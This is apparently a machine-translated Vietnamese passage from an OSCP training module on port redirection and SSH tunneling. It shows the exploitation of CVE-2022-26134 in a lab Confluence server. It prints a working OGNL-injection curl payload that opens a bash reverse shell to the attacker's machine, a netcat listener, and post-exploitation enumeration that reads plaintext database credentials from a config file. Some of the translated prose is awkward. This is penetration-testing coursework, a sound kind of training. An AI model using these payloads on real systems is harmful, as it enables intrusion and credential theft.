(+84) 236.3827111 ex. 402

Chủ đề OSCP (Port Redirection and SSH Tunneling) (tiếp theo)


18.2.2. Thiết lập môi trường phòng thí nghiệm

Để có quyền truy cập vào CONFLUENCE01, chúng ta cần tận dụng lệnh lỗ hổng thực thi trong ứng dụng web Confluence để nhận vỏ ngược. Sau khi phát hiện ra rằng ứng dụng web Confluence dễ bị tấn công bởi CVE-2022-26134, chúng tôi sẽ tìm thấy một bài đăng trên blog từ Rapid71 bao gồm một cURL2 lệnh chứa bằng chứng khái niệm3 tải trọng tuyên bố khai thác lỗ hổng và trả về một vỏ ngược.

curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/

Liệt kê 1 - Tải trọng ví dụ từ bài đăng trên blog Rapid7.

Chúng tôi không chạy tải trọng mà không hiểu chính xác chúng làm gì, vì vậy Trước tiên, chúng ta cần tìm ra điều gì đang xảy ra trong bằng chứng khái niệm này.

Yêu cầu uốn cong dài dòng (-v) đang được thực hiện cho http://10.0.0.28:8090, mà chúng tôi giả định là của tác giả blogpost máy chủ Confluence dễ bị tấn công. Sau đó, đường dẫn URL4 trông thú vị hơn. Chúng tôi quan sát thấy rằng rất nhiều nhân vật trong đó được mã hóa URL,5 vì vậy chúng ta cần giải mã URL chúng thành hiểu rõ hơn về những gì trọng tải thực sự làm.

Bạn có thể nhanh chóng giải mã chuỗi URL bằng cách chọn Giải mã dưới dạng... > URL trong tab Bộ giải mã trong Burp,6 hoặc sử dụng một công cụ trực tuyến chẳng hạn như CyberChef.7 Nếu làm việc với thông tin nhạy cảm Trong môi trường doanh nghiệp thực tế, bạn nên tránh dán dữ liệu vào công cụ trực tuyến. Tuy nhiên, trong trường hợp này, chúng ta đang giải mã một bằng chứng khái niệm Điều đó đã được công khai, vì vậy chúng tôi có thể sử dụng các công cụ trực tuyến nếu cần.

Sau khi URL giải mã đường dẫn, chức năng của tải trọng rõ ràng hơn.

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()")}/

Liệt kê 2 - Ví dụ về tải trọng được giải mã URL.

Đường dẫn URL là tải trọng chèn OGNL. OGNL là Đồ thị đối tượng Ngôn ngữ ký hiệu,8 một ngôn ngữ biểu thức thường được sử dụng trong Các ứng dụng Java. Tiêm OGNL có thể diễn ra khi ứng dụng xử lý đầu vào của người dùng theo cách mà nó được chuyển đến OGNL trình phân tích cú pháp biểu thức. Vì có thể thực thi mã Java trong Biểu thức OGNL, chèn OGNL có thể được sử dụng để thực hiện tùy ý mã.

Bản thân tải trọng chèn OGNL sử dụng ProcessBuilder của Java9 để tạo ra một shell đảo ngược tương tác Bash (bash -i).

Tải trọng chứng minh khái niệm này gần như hoàn hảo cho nhu cầu của chúng tôi. Tuy nhiên, chúng ta cần sửa đổi nó trước khi có thể sử dụng nó. Điều này dành cho hai người lý do. Đầu tiên, máy chủ Confluence mà tải trọng đang trỏ đến trong tải trọng ban đầu không phải là nơi máy chủ Confluence dễ bị tấn công của chúng tôi là. Thứ hai, tải trọng đạn ngược Bash đang hướng vào cổng 1270 trên 10.0.0.28, đó không phải là nơi đặt máy Kali của chúng tôi. Chúng ta cần sửa đổi các tham số này trong payload trước khi chúng ta có thể sử dụng lại để khai thác CONFLUENCE01 và trả lại vỏ cho máy Kali của chúng tôi.

Trong khi thực hiện các sửa đổi này, chúng ta cũng cần lấy URL mã hóa vào tài khoản. Chuỗi tải trọng trong bằng chứng khái niệm không được mã hóa URL hoàn toàn. Một số ký tự nhất định (đáng chú ý là ".", "-" và "/") không được mã hóa. Mặc dù không phải lúc nào cũng đúng, nhưng đối với khai thác cụ thể này, điều này hóa ra lại quan trọng đối với hoạt động của tải trọng. Nếu bất kỳ ký tự nào trong số này được mã hóa, máy chủ sẽ phân tích cú pháp URL theo cách khác và tải trọng có thể không thực thi. Cái này có nghĩa là chúng tôi không thể áp dụng mã hóa URL trên toàn bộ tải trọng khi chúng tôi đã đã sửa đổi nó.

Hãy ghi nhớ điều này, chúng ta sẽ sửa đổi thủ công các thông số mà chúng ta cần, sử dụng tải trọng chứng minh khái niệm ban đầu làm cơ sở của chúng tôi. Chúng tôi có thể thay đổi IP máy chủ Confluence thành 192.168.50.63 và Bash tải trọng shell tương tác IP và cổng đến một trình nghe mà chúng ta sẽ mở trên máy Kali của chúng tôi (/dev/tcp/192.168.118.4/4444). Chúng tôi cũng sẽ Xóa cờ độ chi tiết của Curl. Điều này để lại cho chúng ta những điều sau Tải trọng sửa đổi:

curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.118.4/4444%200%3E%261%27%29.start%28%29%22%29%7D/

Liệt kê 3 - Tải trọng sửa đổi.

Bây giờ tải trọng của chúng tôi đã được tùy chỉnh để sử dụng, chúng tôi có thể bắt đầu Netcat10 listener trên máy Kali của chúng tôi trên cổng TCP 4444.

kali@kali:~$ nc -nvlp 4444

listening on [any] 4444 ...

Liệt kê 4 - Khởi động trình nghe Netcat trên cổng 4444 trên máy Kali của chúng ta.

Khi trình nghe của chúng ta đang chạy, chúng ta sẽ mở một shell khác trên Kali của chúng ta máy, sau đó chạy lệnh curl mà chúng ta vừa xây dựng.

kali@kali:~$ curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.118.4/4444%200%3E%261%27%29.start%28%29%22%29%7D/

 

kali@kali:~$

Liệt kê 5 - Thực hiện tải trọng shell ngược đã sửa đổi.

Bản thân lệnh không trả về bất cứ thứ gì, nhưng ngược lại Shell được người nghe của chúng tôi nắm bắt.

...

listening on [any] 4444 ...

connect to [192.168.118.4] from (UNKNOWN) [192.168.50.63] 55876

bash: cannot set terminal process group (813): Inappropriate ioctl for device

bash: no job control in this shell

confluence@confluence01:/opt/atlassian/confluence/bin$ id

id

uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)

Liệt kê 6 - Bash reverse shell được bắt bởi trình nghe Netcat của chúng ta và được xác nhận bằng lệnh id.

Lệnh id xác nhận rằng shell này đang chạy với đặc quyền của người dùng Confluence. Người dùng này có khá hạn chế đặc quyền. Bất chấp điều đó, bây giờ chúng ta có một vỏ ngược từ CONFLUENCE01 vào máy Kali của chúng tôi.

Bây giờ chúng ta có thể bắt đầu một số bảng liệt kê nhẹ của CONFLUENCE01 bằng cách sử dụng vỏ mới. Chúng tôi sẽ kiểm tra các giao diện mạng bằng ip addr.

confluence@confluence01:/opt/atlassian/confluence/bin$ ip addr

ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000

    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

    inet 127.0.0.1/8 scope host lo

       valid_lft forever preferred_lft forever

    inet6 ::1/128 scope host

       valid_lft forever preferred_lft forever

2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000

    link/ether 00:50:56:8a:54:46 brd ff:ff:ff:ff:ff:ff

    inet 192.168.50.63/24 brd 192.168.50.255 scope global ens192

       valid_lft forever preferred_lft forever

    inet6 fe80::250:56ff:fe8a:5446/64 scope link

       valid_lft forever preferred_lft forever

3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000

    link/ether 00:50:56:8a:c2:c9 brd ff:ff:ff:ff:ff:ff

    inet 10.4.50.63/24 brd 10.4.50.255 scope global ens224

       valid_lft forever preferred_lft forever

    inet6 fe80::250:56ff:fe8a:c2c9/64 scope link

       valid_lft forever preferred_lft forever

Liệt kê 7 - Liệt kê các giao diện mạng trên CONFLUENCE01.

Kết quả cho chúng ta thấy rằng CONFLUENCE01 có hai giao diện mạng: ens192 và ens224ens192 có địa chỉ IP 192.168.50.63 và ens224 có địa chỉ IP 10.4.50.63. Sau đó, chúng ta có thể kiểm tra các tuyến đường Sử dụng IP Route.

confluence@confluence01:/opt/atlassian/confluence/bin$ ip route

ip route

default via 192.168.50.254 dev ens192 proto static

10.4.50.0/24 dev ens224 proto kernel scope link src 10.4.50.63

10.4.50.0/24 via 10.4.50.254 dev ens224 proto static

192.168.50.0/24 dev ens192 proto kernel scope link src 192.168.50.63

Liệt kê 8 - Liệt kê các tuyến đường trên CONFLUENCE01.

Lệnh cho chúng ta thấy rằng chúng ta sẽ có thể truy cập các máy chủ trong 192.168.50.0 / 24 thông qua giao diện ens192 và các máy chủ trong Mạng con 10.4.50.0 / 24 thông qua giao diện ens224.

Tiếp tục liệt kê của chúng ta, chúng ta sẽ thấy Tệp cấu hình Hợp lưu tại /var/atlassian/application-data/confluence/confluence.cfg.xml. Trong khi đọc nội dung bằng cat, chúng tôi phát hiện ra một số văn bản thuần túy thông tin đăng nhập cơ sở dữ liệu nằm bên trong.

confluence@confluence01:/opt/atlassian/confluence/bin$ cat /var/atlassian/application-data/confluence/confluence.cfg.xml

<sian/application-data/confluence/confluence.cfg.xml  

<?xml version="1.0" encoding="UTF-8"?>

 

<confluence-configuration>

  <setupStep>complete</setupStep>

  <setupType>custom</setupType>

  <buildNumber>8703</buildNumber>

  <properties>

...

    <property name="hibernate.connection.password">D@t4basePassw0rd!</property>

    <property name="hibernate.connection.url">jdbc:postgresql://10.4.50.215:5432/confluence</property>

    <property name="hibernate.connection.username">postgres</property>

...

  </properties>

</confluence-configuration>

confluence@confluence01:/opt/atlassian/confluence/bin$

Liệt kê 9 - Các thông tin xác thực được tìm thấy trong tệp Confluence confluence.cfg.xml trên CONFLUENCE01.

Chúng tôi sẽ tìm thấy địa chỉ IP của máy chủ cơ sở dữ liệu, cũng như tên người dùng và mật khẩu văn bản thuần túy được sử dụng để kết nối với nó. Chúng ta có thể sử dụng các thông tin đăng nhập này để xác thực với cơ sở dữ liệu và tiếp tục liệt kê.

Tuy nhiên, chúng tôi đã gặp phải một giới hạn. CONFLUENCE01 không có Ứng dụng khách PostgreSQL được cài đặt trên đó. Vì chúng ta đang chạy dưới dạng người dùng hợp lưu có đặc quyền thấp, chúng tôi cũng không thể dễ dàng cài đặt phần mềm.

Chúng tôi đã cài đặt psql ứng dụng khách PostgreSQL trên Kali của chúng tôi máy, nhưng chúng tôi không thể kết nối trực tiếp với PGDATABASE01 từ Kali của chúng tôi máy, vì nó chỉ có thể định tuyến từ CONFLUENCE01.

Trong trường hợp này, không có tường lửa nào giữa Kali của chúng tôi máy móc và CONFLUENCE01, có nghĩa là không có gì ngăn cản chúng ta từ các cổng liên kết trên giao diện WAN của CONFLUENCE01 và kết nối cho họ từ máy Kali của chúng tôi.

Đây chính xác là loại tình huống mà chuyển tiếp cổng có thể xảy ra hữu ích. Chúng ta có thể tạo một cổng chuyển tiếp trên CONFLUENCE01 để lắng nghe một cổng trên giao diện WAN, sau đó chuyển tiếp tất cả các gói nhận được trên cổng này vào PGDATABASE01 trên mạng con nội bộ. Trong phần tiếp theo, chúng tôi sẽ sử dụng Socat11 để đạt được điều này.

1(Rapid7, 2022), https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ 

2(cURL, 2022), https://curl.se/ 

3(Wikipedia, 2022), https://en.wikipedia.org/wiki/Proof_of_concept 

4(Wikipedia, 2022), https://en.wikipedia.org/wiki/Uniform_Resource_Identifier#Syntax 

5(Wikipedia, 2022), https://en.wikipedia.org/wiki/Percent-encoding 

6(PortSwigger, 2022), https://portswigger.net/burp 

7(GCHQ, 2022), https://gchq.github.io/CyberChef/ 

8(Wikipedia, 2022), https://en.wikipedia.org/wiki/OGNL 

9(Oracle, 2022), https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html 

10(Wikipedia, 2022), https://en.wikipedia.org/wiki/Netcat 

11(dest-unreach, 2022), http://www.dest-unreach.org/socat/doc/socat.html